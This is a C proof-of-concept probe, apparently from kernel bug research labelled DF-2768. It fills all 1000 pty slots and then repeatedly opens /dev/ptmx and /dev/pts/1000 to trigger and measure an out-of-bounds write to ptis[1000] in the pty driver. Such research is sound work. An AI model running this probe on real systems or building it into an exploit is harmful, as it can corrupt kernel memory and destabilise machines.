DF-2768 / cycle_oob_unit.c
/* * DF-2768 probe stage 3: cycle the OOB unit N times while holding * units 0..999. Each cycle: * - open ptmx #1001 -> clone creates unit-1000 pty (ptis[1000] OOB), * master open fails ENODEV * - open /dev/pts/1000 (O_NONBLOCK) then close it -> forces ptsclose -> * pti_done -> termination -> bitmap_put(1000) * If the ptis[1000] OOB write persisted, every subsequent cycle REUSES * the same pti -> M_PTY 'ptys' count stays +1. If each cycle allocates * a new pti, the count grows by 1 per cycle. */ #include <sys/types.h> #include <sys/stat.h> #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define MAXPTYS 1000 static void timeout(int sig __unused) { fprintf(stderr, "ALARM: hung\n"); _exit(9); } int main(int argc, char **argv) { int cycles = (argc > 1) ? atoi(argv[1]) : 5; int held[MAXPTYS]; int i, fd, c; signal(SIGALRM, timeout); for (i = 0; i < MAXPTYS; i++) { if ((held[i] = open("/dev/ptmx", O_RDWR)) < 0) { printf("pre-fill #%d failed: %s\n", i, strerror(errno)); return 1; } } printf("holding %d ptys; cycling OOB unit %d times\n", MAXPTYS, cycles); for (c = 0; c < cycles; c++) { errno = 0; alarm(15); fd = open("/dev/ptmx", O_RDWR); alarm(0); printf("cycle %d: ptmx #1001 -> %s(%d)\n", c, fd >= 0 ? "OPENED" : strerror(errno), errno); fflush(stdout); if (fd >= 0) close(fd); alarm(15); fd = open("/dev/pts/1000", O_RDWR | O_NONBLOCK); alarm(0); if (fd < 0) { printf("cycle %d: open /dev/pts/1000 failed: %s(%d)\n", c, strerror(errno), errno); } else { close(fd); printf("cycle %d: /dev/pts/1000 opened+closed\n", c); } fflush(stdout); } printf("done; exiting (holds released)\n"); fflush(stdout); sleep(1); return 0; } |